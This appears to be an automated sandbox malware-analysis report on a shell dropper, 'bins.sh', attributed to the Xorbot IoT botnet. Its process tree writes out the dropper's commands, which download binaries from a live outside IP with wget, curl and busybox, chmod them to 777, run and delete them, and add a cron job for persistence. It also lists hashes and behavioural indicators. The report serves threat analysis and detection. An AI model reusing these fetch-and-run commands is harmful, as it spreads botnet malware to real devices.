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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/01/2025, 00:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    26909ebd103b5c17abb36dfc85e52cb4

  • SHA1

    eced3893a9140d2eb071a6a411c050d74f61aba8

  • SHA256

    30367e0773b6cd4050b48c6362f82d9032ee3a01e38e091319797f54c7b4fdf3

  • SHA512

    3618e101bb2f7b905fc69ae94d66d4fabd619b3bdca4bb4e8587a0d86e0ab68d9736b36ac420d4c1bc135283dcd9f2e12290312d6ef7f3331958b21e4ccd7584

  • SSDEEP

    192:GZyl11kwJY8SC0v3vCeEeQ8el11kwk8Uv3vCeSt:GZyl11kwJmC0v3vCeEeQ8el11kwUv3vm

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1959) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:647
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Writes file to tmp directory
          PID:649
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:676
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Writes file to tmp directory
          PID:685
        • /bin/chmod
          chmod 777 Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          ./Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Executes dropped EXE
          PID:691
        • /bin/rm
          rm Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
            PID:693
          • /usr/bin/wget
            wget http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • Writes file to tmp directory
            PID:695
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:711
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • Writes file to tmp directory
            PID:729
          • /bin/chmod
            chmod 777 sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • File and Directory Permissions Modification
            PID:730
          • /tmp/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            ./sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • Executes dropped EXE
            PID:731
          • /bin/rm
            rm sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
              PID:733
            • /usr/bin/wget
              wget http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:734
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • Checks CPU configuration
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:739
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:757
            • /bin/chmod
              chmod 777 6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • File and Directory Permissions Modification
              PID:764
            • /tmp/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              ./6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:765
            • /bin/rm
              rm 6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • System Network Configuration Discovery
              PID:768
            • /usr/bin/wget
              wget http://66.63.187.225/bins/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • Writes file to tmp directory
              PID:769
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:772
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • Writes file to tmp directory
              PID:773
            • /bin/chmod
              chmod 777 OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • File and Directory Permissions Modification
              PID:774
            • /tmp/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              ./OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • Executes dropped EXE
              PID:775
            • /bin/rm
              rm OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
                PID:777
              • /usr/bin/wget
                wget http://66.63.187.225/bins/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • Writes file to tmp directory
                PID:778
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:779
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • Writes file to tmp directory
                PID:780
              • /bin/chmod
                chmod 777 6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • File and Directory Permissions Modification
                PID:781
              • /tmp/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                ./6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • Executes dropped EXE
                PID:782
              • /bin/rm
                rm 6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                  PID:785
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                  2⤵
                  • Writes file to tmp directory
                  PID:786
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:787
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                  2⤵
                  • Writes file to tmp directory
                  PID:788
                • /bin/chmod
                  chmod 777 IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                  2⤵
                  • File and Directory Permissions Modification
                  PID:789
                • /tmp/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                  ./IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:790
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:792
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:793
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:794
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:795
                      • /bin/rm
                        rm IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                        2⤵
                          PID:797
                        • /usr/bin/wget
                          wget http://66.63.187.225/bins/5i6Mual0qfnfVVLCR5k0SWGGJlEw8krtnv
                          2⤵
                            PID:800

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS

                          Filesize

                          111KB

                          MD5

                          ca897a38f23ec23521ce0b1b83f8422d

                          SHA1

                          b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                          SHA256

                          043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                          SHA512

                          10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                        • /tmp/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu

                          Filesize

                          111KB

                          MD5

                          701e7a55a4f3650f5feee92a9860e5fc

                          SHA1

                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                          SHA256

                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                          SHA512

                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                        • /var/spool/cron/crontabs/tmp.uhMjLX

                          Filesize

                          210B

                          MD5

                          1bfe61663f159fcfd3c7eb6ce7245595

                          SHA1

                          dd9a72e2e5213496ba88f3aefe466e6565935c00

                          SHA256

                          f421717dc844451cb6c6059f64dee0ae08bba648e3759013a22f545257dd7aba

                          SHA512

                          f9c5cffec7867a805dc281680b323d2671d0922e8229390b624ab2b0724df7ae5de26b3f556604afc7da50a0361c8182566f49020c26990803a5038a5dd9be26